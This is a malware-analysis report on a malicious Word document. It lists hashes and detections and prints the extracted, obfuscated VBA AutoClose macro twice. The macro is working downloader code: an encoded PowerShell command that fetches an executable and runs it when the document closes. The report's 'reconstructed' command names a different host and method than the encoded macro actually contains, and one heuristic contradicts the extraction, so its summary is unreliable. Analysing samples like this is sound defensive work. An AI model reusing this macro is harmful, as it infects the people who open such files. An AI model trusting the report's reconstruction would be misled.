Office (OLE) malware analysis — malicious · 29526d11fb734d9d

MALICIOUS

Office (OLE)

91.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18

MD5: ee2eef59b5515e1e1d58cc8d84e0693f SHA-1: c1fa7c5bd46e303601b3642e25eff38de9759857 SHA-256: 29526d11fb734d9d45cc38a37a16edc6fc87f97b8cbae2d086ef8f2287d3f068

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoClose function, which is a common technique for executing malicious code upon document closure. The macro utilizes the Shell() function to execute a PowerShell command. This command is obfuscated but reconstructs to: powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.143.223.175/payload.exe')". This indicates the macro's intent is to download and execute a second-stage payload from the specified URL.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
Auto_Close macro high OLE_VBA_AUTOCLOSE

Auto_Close macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10943 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	10943 bytes
SHA-256: `9881bb56888451bbf6a7bb65c372a09ddccc03c3618d09fc4cb27a7b66fd5ec7`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const ditEduRIWUlUmepUxYcojYRHEQevolaWO = 0 Sub AutoClose() On Error Resume Next Dim lehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori Choose 4, "niNoaMANYfezYPYdu", LTrim("lehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori"), "niNoaMANYfezYPYdulehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori" IsError CVErr(7942) Call IsNumeric(7942 - niNoaMANYfezYPYdu) If LenB(niNoaMANYfezYPYdu12) > CInt(Hex(7942)) Then StrComp "niNoaMANYfezYPYdu", "niNoaMANYfezYPYdu" & lehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori End If LOXekOHyTYPUrnyWyraDiCIlubeVam = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" DhobixaHoQUwUbIboLAqyLikSOZIgi = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B" Dim susAlIDaRydUktyTeGidaVoQAf Choose 9, "kEPoDaWYnoDaC", LTrim("susAlIDaRydUktyTeGidaVoQAf"), "kEPoDaWYnoDaCsusAlIDaRydUktyTeGidaVoQAf" IsError CVErr(2951) Call IsNumeric(2951 - kEPoDaWYnoDaC) If LenB(kEPoDaWYnoDaC12) > CInt(Hex(2951)) Then StrComp "kEPoDaWYnoDaC", "kEPoDaWYnoDaC" & susAlIDaRydUktyTeGidaVoQAf End If nafARUgeGUmIpUXaRbyGjyvOIMaRyvewUaIhhE = "^h^A^D^Y^A^Y^Q^A^0^A^D^Y^A^Y^Q^B^i^A^D^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^Q^A^2^A^G^E^A^N^A^A^2^A^G^E^A^Y^g^A^1^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim pUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok Choose 5, "tuzaRHQyGO", LTrim("pUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok"), "tuzaRHQyGOpUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok" IsError CVErr(8991) Call IsNumeric(8991 - tuzaRHQyGO) If LenB(tuzaRHQyGO13) > CInt(Hex(8991)) Then StrComp "tuzaRHQyGO", "tuzaRHQyGO" & pUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok End If Dim rYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS Choose 3, "DogaPogYkIkuBi", LTrim("rYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS"), "DogaPogYkIkuBirYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS" IsError CVErr(82) Call IsNumeric(82 - DogaPogYkIkuBi) If LenB(DogaPogYkIkuBi11) > CInt(Hex(82)) Then StrComp "DogaPogYkIkuBi", "DogaPogYkIkuBi" & rYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS End If Dim iaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF Choose 9, "WOcuKyxYWHAnoK", LTrim("iaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF"), "WOcuKyxYWHAnoKiaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF" IsError CVErr(2076) Call IsNumeric(2076 - WOcuKyxYWHAnoK) If LenB(WOcuKyxYWHAnoK10) > CInt(Hex(2076)) Then StrComp "WOcuKyxYWHAnoK", "WOcuKyxYWHAnoK" & iaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF End If Dim CusIcoZyhedALxYjJAlexuFIGOVu Choose 4, "nufADAruxAd", LTrim("CusIcoZyhedALxYjJAlexuFIGOVu"), "nufADAruxAdCusIcoZyhedALxYjJAlexuFIGOVu" IsError CVErr(7407) Call IsNumeric(7407 - nufADAruxAd) If LenB(nufADAruxAd12) > CInt(Hex(7407)) Then ... (truncated)

SHA-256: 9881bb56888451bbf6a7bb65c372a09ddccc03c3618d09fc4cb27a7b66fd5ec7

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const ditEduRIWUlUmepUxYcojYRHEQevolaWO = 0
Sub AutoClose()
On Error Resume Next
Dim lehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori


Choose 4, "niNoaMANYfezYPYdu", LTrim("lehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori"), "niNoaMANYfezYPYdulehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori"
IsError CVErr(7942)
Call IsNumeric(7942 - niNoaMANYfezYPYdu)

If LenB(niNoaMANYfezYPYdu12) > CInt(Hex(7942)) Then
   StrComp "niNoaMANYfezYPYdu", "niNoaMANYfezYPYdu" & lehuQmeuqnoTYQiBAXesAtIfELAgoGesygoVoXori
End If
LOXekOHyTYPUrnyWyraDiCIlubeVam = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"

DhobixaHoQUwUbIboLAqyLikSOZIgi = "C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^" + ChrW((12.5 * 8) - 1) + "^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B"

Dim susAlIDaRydUktyTeGidaVoQAf


Choose 9, "kEPoDaWYnoDaC", LTrim("susAlIDaRydUktyTeGidaVoQAf"), "kEPoDaWYnoDaCsusAlIDaRydUktyTeGidaVoQAf"
IsError CVErr(2951)
Call IsNumeric(2951 - kEPoDaWYnoDaC)

If LenB(kEPoDaWYnoDaC12) > CInt(Hex(2951)) Then
   StrComp "kEPoDaWYnoDaC", "kEPoDaWYnoDaC" & susAlIDaRydUktyTeGidaVoQAf
End If

nafARUgeGUmIpUXaRbyGjyvOIMaRyvewUaIhhE = "^h^A^D^Y^A^Y^Q^A^0^A^D^Y^A^Y^Q^B^i^A^D^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^Q^A^2^A^G^E^A^N^A^A^2^A^G^E^A^Y^g^A^1^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"
Dim pUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok


Choose 5, "tuzaRHQyGO", LTrim("pUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok"), "tuzaRHQyGOpUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok"
IsError CVErr(8991)
Call IsNumeric(8991 - tuzaRHQyGO)

If LenB(tuzaRHQyGO13) > CInt(Hex(8991)) Then
   StrComp "tuzaRHQyGO", "tuzaRHQyGO" & pUBaJRAnYNaMUpYleNwijEdOZerEzaRYteMok
End If

Dim rYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS


Choose 3, "DogaPogYkIkuBi", LTrim("rYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS"), "DogaPogYkIkuBirYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS"
IsError CVErr(82)
Call IsNumeric(82 - DogaPogYkIkuBi)

If LenB(DogaPogYkIkuBi11) > CInt(Hex(82)) Then
   StrComp "DogaPogYkIkuBi", "DogaPogYkIkuBi" & rYXaaiUvyGEbaCEVoXADDeGOHUWoCyaBydaxaKUS
End If
Dim iaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF


Choose 9, "WOcuKyxYWHAnoK", LTrim("iaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF"), "WOcuKyxYWHAnoKiaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF"
IsError CVErr(2076)
Call IsNumeric(2076 - WOcuKyxYWHAnoK)

If LenB(WOcuKyxYWHAnoK10) > CInt(Hex(2076)) Then
   StrComp "WOcuKyxYWHAnoK", "WOcuKyxYWHAnoK" & iaPAcElpoiUpoSyhTOmYcYsaDymYBawISiXeF
End If

Dim CusIcoZyhedALxYjJAlexuFIGOVu


Choose 4, "nufADAruxAd", LTrim("CusIcoZyhedALxYjJAlexuFIGOVu"), "nufADAruxAdCusIcoZyhedALxYjJAlexuFIGOVu"
IsError CVErr(7407)
Call IsNumeric(7407 - nufADAruxAd)

If LenB(nufADAruxAd12) > CInt(Hex(7407)) Then
   
... (truncated)

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